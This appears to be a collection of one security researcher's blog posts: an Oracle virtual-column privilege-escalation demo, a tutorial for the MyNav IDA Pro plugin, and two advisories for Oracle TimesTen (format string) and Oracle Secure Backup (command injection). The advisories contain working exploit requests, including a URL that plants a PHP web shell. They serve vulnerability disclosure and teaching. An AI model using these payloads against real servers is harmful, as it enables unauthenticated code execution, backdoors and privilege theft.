What happens if someone creates a table column based on a “malicious” PL/SQL function? What happens when someone selects data from a table with a virtual column that executes a GRANT command? If the user executing the query is a normal user, the function will fail, however, if the user is privileged, the code will be executed and the DBA privilege will be granted to the user “JOXEAN”, like in the following sample:

SQL> create user joxean identified by joxean;
User created.

SQL> grant connect, resource to joxean;
Grant succeeded.

SQL> conn joxean/joxean
Connected.
SQL> CREATE OR REPLACE FUNCTION F1 (p_value IN VARCHAR2)
  RETURN VARCHAR2 AUTHID CURRENT_USER deterministic
AS
  PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
  EXECUTE IMMEDIATE 'grant dba to joxean';
  RETURN '1';
END F1;
/
Function created.

SQL> CREATE TABLE t2
(
  col1 VARCHAR2(50),
  col2 generated always AS (f1('asdf')) virtual
);
Table created.

SQL> select * from t2;
no rows selected

SQL> insert into t2 (col1) values ( 'a' );
1 row created.

SQL> commit;
Commit complete.

SQL> select * from t2;
select * from t2
*
ERROR at line 1:
ORA-01031: insufficient privileges
ORA-06512: at "JOXEAN.F1", line 6

SQL> select * from user_role_privs;

USERNAME		       GRANTED_ROLE		      ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
JOXEAN			       CONNECT			      NO  YES NO
JOXEAN			       RESOURCE 		      NO  YES NO

SQL> conn / as sysdba
Connected.
SQL> select * from joxean.t2;

COL1   COL2
----- -----
a         1

SQL> select * from dba_role_privs where grantee = 'JOXEAN';

GRANTEE 		       GRANTED_ROLE		      ADM DEF
------------------------------ ------------------------------ --- ---
JOXEAN			       RESOURCE 		      NO  YES
JOXEAN			       DBA			      NO  YES
JOXEAN			       CONNECT			      NO  YES

While it isn’t a big issue it can be used as a “logical bomb” by an atacker with CREATE TABLE privileges: Simply create a table with an interesting name and wait for DBA to select data from this table Oh! By the way, to create a permanent table you only need to have the privilege to create a temporary table… But this is another history

The navigator is good to get an idea about what a function does as we can see and browse in a user-friendly GUI all the functions executed from one specific point. For example, open the typical windows binary calc.exe in IDA Pro, wait until the initial analysis ends, run the script mynav.py in IDA and jump to the function “?CalcWndProc@@YGJPAUHWND__@@IIJ@Z” (at address 0×01006118 in Windows XP SP 3). Now, select Edit->Plugins->MyNav – Browse Function. A new dialog box will appear asking for the maximum recursion level, enter the number 1 and click OK. The following (browseable) graph will appear:

Depending on the selected maximum recursion level, some child nodes will be hidden like, for example, the childs nodes of the function “?SetRadix@@YGXK@Z”. To see the hidden nodes simply double clik in the node with text “(8 more nodes)”. The following graph will appear:

In this graph we can see what functions are executed from the “SetRadix” one. We can continue browsing the graph entering and leaving in some other functions but, what if I want to see what API calls are executed from an specific function? To open a browseable graph showing API calls select in the IDA’s disassembly view the desired function (for example, the function at address 0x010022F9 in Windows XP SP3 -?CIO_vConvertToString@@YGXPAPAGPAUCALCINPUTOBJ@@H@Z-) and select Edit->Plugins->MyNav – Browse functions (show APIs), leave the default maximum recursion level and click OK. The browseable graph bellow will appear:

Taking a look to this graph we can “abstractly” see what the function ConvertToString does.

Code path searching

One of the most typical tasks when looking for vulnerabilities is to find a code path between data entry points (functions where you can insert data) and some target functions (vulnerable ones). With MyNav we can search automatically for code paths between 2 functions with just a few clicks. For example, continuing with the Windows calculator, we will search code paths from “WinMain” and “EverythingResettingNumberSetup” so, select Edit->Plugins->MyNav – Show code paths between 2 functions. A dialog box showing all the binary’s functions will be shown:

In this dialog box select the starting point (WinMain) and click OK, the same dialog will appear again asking for the target function, select “EverythingResettingNumberSetup” and click OK. The following graph will appear:

Differential debugging usage example: notepad

In this example we will discover and analyze the code responsible for opening a file in notepad. Run IDA Pro and open the notepad.exe binary. Wait until the initial analysis finishes and, after it, run the script mynav.py in IDA. A lot of new menus will be added under Edit->Plugins as shown bellow:

Now, select a debugger from the debugger dropdown list and select from Edit->Plugins menu the option called “MyNav – New session”. A dialog box asking for a session’s name will appear. Enter a meaningfull name like “GuiNoise” or something like this as we will be recording the code responsible of GUI painting, uninteresting for our goal (discover the code executed when we open a file inside notepad).

Press OK and a message box saying that there is no breakpoint set will appear. Answer “Yes” and MyNav will set a breakpoint in every function and start the debuggger. While the application is running move the window, minimize, maximize, restore it, popup the contextual menus and close the application when done. When debugging stops, a graph showing all the executed functions will appear:

This callgraph shows all the functions executed and the relationships between them. All the breakpoints sets in a function that was executed in this session were removed after the first hit so we will not stop again in the GUI related code. Now, record another session, select Edit->Plugin->MyNav – New session and enter the name “FileOpenDialog”. When the debugger starts select in notepad “File->Open” and cancel the dialog box. Select again in notepad “File->Open” but this time select a file to open. When done, close the application and the following callgraph will appear:

This time only 7 functions appeared, those responsible of showing the file open dialog box and opening the file. The notepad.exe binary contains 88 functions and we discovered in a few seconds the interesting functions. Now, it’s time to discover the exact code executed when I cancel the dialog box and when I select a file to open so, select Edit->Plugins->MyNav – Trace in session and a dialog box will appear showing all the recorded session. Select the session named “FileOpen” in the dialog shown bellow:

After it, the typical dialog box asking for a sessions name will appear. Enter the name “TraceFileOpenCancel”, click OK and the debugger starts. When notepad is opened, select File->Open, cancel the dialog box and close the application.

The colored basic blocks are those executed when we cancelled the dialog box. Now, we will trace again the same session but this time opening a file so, select Edit->Plugins->MyNav – Trace in session, select the session named “FileOpen” and enter the name “TraceFileOpen”. When debugger starts the application select File->Open and open a file. When done, close notepad and the following code will be shown:

The new color shows the basic blocks executed this time. If we want, we can see the differences between the 2 sessions. Select Edit->Plugins->MyNav – Show step trace session and a dialog box showing a list of all the recorded trace sessions will appear. Select the trace session called “TraceFileOpenCancel” and click OK. Notice the change in the graph:

In about 5 minutes we discovered the functions and the instructions executed when we cancel the file open dialog box and when we open a file. It was easy, wasn’t it?

Final Notes

MyNav will be released in July 2010 and the code will be uploaded to the project page at Google Code.

Oracle TimesTen provides a family of real-time infrastructure software products designed for low latency, high-volume data, event and transaction management.

Summary

The Oracle January 2009 Critical Patch Update fixes a vulnerability which allows a remote preauthenticated attacker to execute arbitrary code in the context of the user running Oracle TimesTen server.

Affected versions

Oracle TimesTen prior to version 7.0.5.1.0.

Vulnerability

Oracle TimesTen’s timestend daemon is a simple web server that process the commands received from clients. Many of these commands are used without being authenticated, i.e., without the need for a username and password.

The command “evtdump” dumps to the internal log file the contents of an internal data structure. The pseudo-cgi evtdump only receives one parameter, called msg. The parameter “msg” is a text that will be printed to the log file before dumping the internal structure.

This parameter is vulnerable to a format string attack which leads to remote code execution before being authenticated. The vulnerability have been tested in Linux environments, although it appears to be vulnerable in all the supported platforms.

The following is an extract of a communication between a custom client and the timestend daemon (the output from the server is shown in the file /var/TimesTen/log/ttmesg.log in Unix and GNU/Linux environments):

FROM CLIENT:

GET evtdump?msg=AAAA%2510$x%25s HTTP/1.0\r\n\r\n

AT SERVER:

(…)
# cat /var/TimesTen/log/ttmesg.log
(…)
19:05:07.01 Info:    : 18225: maind 22: socket closed, calling recovery (last cmd was 25)
19:05:19.07 Info:    : 18225: AAAA80a8a0c(null)
19:05:19.07 Info:    : 18225: mode     :  TTDL_NORMAL
19:05:19.07 Info:    : 18225: ctlfilename :  ”
19:05:19.07 Info:    : 18225: lineno   :  0
19:05:19.07 Info:    : 18225: nitems   :  7
19:05:19.07 Info:    : 18225: maxitems :  32
19:05:19.07 Info:    : 18225: cur_path :  (null)
19:05:19.07 Info:    : 18225: lineno   :  0
19:05:19.07 Info:    : 18225: items    :
19:05:19.07 Info:    : 18225:   item # 0  :
19:05:19.07 Info:    : 18225:     comp     : ALL
19:05:19.07 Info:    : 18225:     level    : 3
19:05:19.07 Info:    : 18225:     dsname   : (null)
(…)

FROM CLIENT:

GET evtdump?msg=AAAA%2510$x%25s%25s%25s HTTP/1.0

AT SERVER:

(…)
# cat /var/TimesTen/log/ttmesg.log
19:05:19.08 Info:    : 18225: maind 23: socket closed, calling recovery (last cmd was 26)
19:06:18.49 Info:    : 18225: AAAA80a8a0c(null)(null)
19:06:18.49 Info:    : 18225: mode     :  TTDL_NORMAL
19:06:18.49 Info:    : 18225: ctlfilename :  ”
19:06:18.49 Info:    : 18225: lineno   :  0
19:06:18.49 Info:    : 18225: nitems   :  7
19:06:18.49 Info:    : 18225: maxitems :  32
19:06:18.49 Info:    : 18225: cur_path :  (null)
19:06:18.49 Info:    : 18225: lineno   :  0
19:06:18.49 Info:    : 18225: items    :
19:06:18.49 Info:    : 18225:   item # 0  :
19:06:18.49 Info:    : 18225:     comp     : ALL
19:06:18.49 Info:    : 18225:     level    : 3
19:06:18.49 Info:    : 18225:     dsname   : (null)
(…)

FROM CLIENT:

GET evtdump?msg=AAAA%25n HTTP/1.0

AT SERVER:

(…)
# cat /var/TimesTen/log/ttmesg.log
19:07:38.87 Err :    : 18782: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished
19:07:38.87 Err :    : 18785: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished
19:07:38.87 Err :    : 18788: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished
19:07:38.87 Err :    : 18791: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished
19:07:38.87 Info: SRV: 18800: EventID=99| TimesTen daemon has disconnected, server is exiting…
19:07:39.54 Info:    : 18785: Listener terminating
19:07:39.54 Info:    : 18785: Listener exited, termination finishing
19:07:39.54 Info:    : 18785: Process termination complete
19:07:39.59 Info:    : 18791: Listener terminating
19:07:39.59 Info:    : 18782: Listener terminating
19:07:39.59 Info:    : 18788: Listener terminating
19:07:39.59 Info:    : 18791: Listener exited, termination finishing
19:07:39.59 Info:    : 18791: Process termination complete
19:07:39.59 Info:    : 18782: Listener exited, termination finishing
19:07:39.59 Info:    : 18782: Process termination complete
19:07:39.59 Info:    : 18788: Listener exited, termination finishing
19:07:39.59 Info:    : 18788: Process termination complete
19:07:40.59 Info: SRV: 18800: EventID=2| TimesTen Server is stopping
19:07:40.59 Info: SRV: 18800: EventID=99| Server trying to stop child server processes
19:07:40.59 Info: SRV: 18800: EventID=11| Main Server cleaned up all child server processes and exiting
(…)

The last msg parameter’s value crashes the timestend daemon. Attaching with a debugger to the timestend daemon we can see the following dump when it crashes:

$ sudo /etc/init.d/tt_70 start &
(…)
$ sudo gdb attach `cat /var/TimesTen/tt70/timestend.pid`
(…)
(gdb) c
(…)
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1223386192 (LWP 18980)]
0xb76cf5c6 in vfprintf () from /lib/tls/i686/cmov/libc.so.6
(gdb) where
#0  0xb76cf5c6 in vfprintf () from /lib/tls/i686/cmov/libc.so.6
#1  0xb76eca36 in vsnprintf () from /lib/tls/i686/cmov/libc.so.6
#2  0xb7826ddb in ttc_vsnprintf () from /opt/TimesTen/tt70/lib/libttco.so
#3  0x0807689f in ttdLogDump ()
#4  0x0805b138 in daHandler ()
#5  0×08073789 in handlerThread ()
#6  0xb77e7341 in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#7  0xb775a4ee in clone () from /lib/tls/i686/cmov/libc.so.6
(gdb) i r
eax            0×0      0
ecx            0×4      4
edx            0×0      0
ebx            0xb77bbadc       -1216628004
esp            0xb71480c0       0xb71480c0
ebp            0xb71486e0       0xb71486e0
esi            0×0      0
edi            0xb714895c       -1223390884
eip            0xb76cf5c6       0xb76cf5c6 <vfprintf+14038>
(…)

The function ttdLogDump is called from daHandler as you can see in the backtrace. This function is the main handler for the internal timestend’s web server. This is the vulnerable function, ttdLogDump, which receives one argument (the msg parameter to the evtdump pseudo cgi):

.text:0807686D ttdLogDump      proc near               ; CODE XREF: daHandler+5F3p
(...)
.text:08076879                 lea     eax, [ebp+argRet]
.text:0807687C                 push    eax
.text:0807687D                 push    [ebp+argMsg] ; User controlled string buffer
.text:08076880                 push    0
.text:08076882                 push    100h
.text:08076887                 lea     esi, [ebp+buf]
.text:0807688D                 call    $+5
.text:08076892                 pop     ebx
.text:08076893                 add     ebx, 3217Ah
.text:08076899                 push    esi
.text:0807689A                 call    _ttc_vsnprintf

The function ttc_vsnprintf makes a call internally to the vsnprintf function (in the library /opt/TimesTen/tt70/lib/libttco.so) passing as the buffer to be printed the user supplied value passed to the “msg” argument:

.text:0001ADAA ttc_vsnprintf   proc near               ; CODE XREF: msgbuf_error+73p
.text:0001ADAA                                         ; opt_error+83p ...
.text:0001ADAA
(...)
.text:0001ADCE                 push    [ebp+arg]       ; arg
.text:0001ADD1                 push    [ebp+argFormat] ; format
.text:0001ADD4                 push    edi             ; maxlen
.text:0001ADD5                 push    eax             ; s
.text:0001ADD6                 call    _vsnprintf

Workaround

None.

Patch information

Oracle fixed the vulnerability in version 7.0.5.1.0 of Oracle Secure Backup.

Contact Information

The vulnerability was found by Joxean Koret, admin[at]joxeankoret[dot]com

References

Oracle TimesTen evtDump Remote Format String

CVE-2008-5440

Oracle Critical Patch Update January 2009

Professional Web

Disclaimer

The information in this advisory and any of its demonstrations is provided “as is” without any warranty of any kind.

I am not liable for any direct or indirect damages caused as a result of using the information or demonstrations provided in any part of this advisory.

Oracle Secure Backup is a centralized tape backup management software providing secure data protection for heterogeneous file systems and the Oracle Database.

Summary

The Oracle January 2009 Critical Patch Update fixes a vulnerability which allows a remote preauthenticated attacker to execute arbitrary code in the context of the user running the web server of Oracle Secure Backup.

In Windows environments, the vulnerability allows execution of arbitrary code as SYSTEM. In Unix and GNU/Linux environments, however, just as a normal user (oracle usually).

CVSS2 Risk Score

Microsoft Windows: 10
Linux and Unix   :  7,5

Affected versions

Oracle Secure Backup version 10.1.0.3 to 10.2.0.2 in all supported operating systems are affected.

Vulnerability Details

Oracle Secure Backup comes with one PHP based frontend which is vulnerable to a variable poisoning attack regardless if the PHP directive register_globals is enabled or not.

Internally, all the variables passed to the script login.php are converted to global variables in the file $ROOT\php\globals.php. Any variable regarding or regardless the method used to send the query will be registered as a global variable.

From the login script called “login.php” the tool “obt.exe” is executed with a popen call passing arguments received from the client. These arguments are not sanitized nor verified and it allows post-authentication remote command execution BUT due to a logic failure in the script “login.php” when the variable “clear” has the value “no” and other variables (that supposedly comes from a cookie) are set anyone can execute

operating system command from remote without being authenticated. The vulnerable code is the following:

if (strlen($ora_osb_bgcookie) > 0 && $button == "Logout")
{
// Turn DEBUG_EXEC to off
$tmp = $DEBUG_EXEC;
$DEBUG_EXEC = "no";

// Teminate the connection.
$qr_command = "$rbtool --terminate $ora_osb_bgcookie-$ora_osb_lcookie";
$msg = exec_qr("$qr_command");

if (strncmp($msg[0], "Error:", 6))
{
// Set the cookie up.
setcookie("ora_osb_bgcookie", "");
setcookie("ora_osb_lcookie", "");
$ora_osb_bgcookie = "";
}

// Reset DEBUG_EXEC.
$DEBUG_EXEC = $dtmp;
}
header("Location: /login.php?clear=yes");
}

The function “exec_qr” internally calls the function PHP function “popen” to execute a command. The $rbtool variable, abusing from the variable poisoning attack, can be changed to, in example, /bin/sh or cmd.exe to execute arbitrary commands without the need for a user name or password, just with network access to the Oracle Secure Backup Web server. In fact, the script thinks that we’re doing a logout.

Proof of Concept

* Create a file in the directory “c:\”

https://<target>/login.php?clear=no&ora_osb_lcookie=aa&ora_osb_bgcookie=bb&button=Logout&rbtool=cmd.exe+/c+echo+hello+world+%3E+c:\oracle.secure.backup.txt+;

* Create a PHP backdoor

https://<target>/login.php?clear=no&ora_osb_lcookie=aa&ora_osb_bgcookie=bb&button=Logout&rbtool=cmd.exe+/c+echo+%22%3C%3Fphp+print(shell_exec(%24_GET%5B’a'%5D))%3B+%3F%3E%22+%3E+test.php%3B%26%26+echo

Workaround

Disable the web server.

Patch information

Oracle fixed the vulnerability in version 10.2.0.3 of Oracle Secure Backup.

Contact Information

The vulnerability was found by Joxean Koret, admin[at]joxeankoret[dot]com

References

Oracle Secure Backup exec_qr() Command Injection Vulnerability

CVE-2008-5448

Oracle Critical Patch Update January 2009

Professional Web

Disclaimer

The information in this advisory and any of its demonstrations is provided “as is”
without any warranty of any kind.

I am not liable for any direct or indirect damages caused as a result of using the
information or demonstrations provided in any part of this advisory.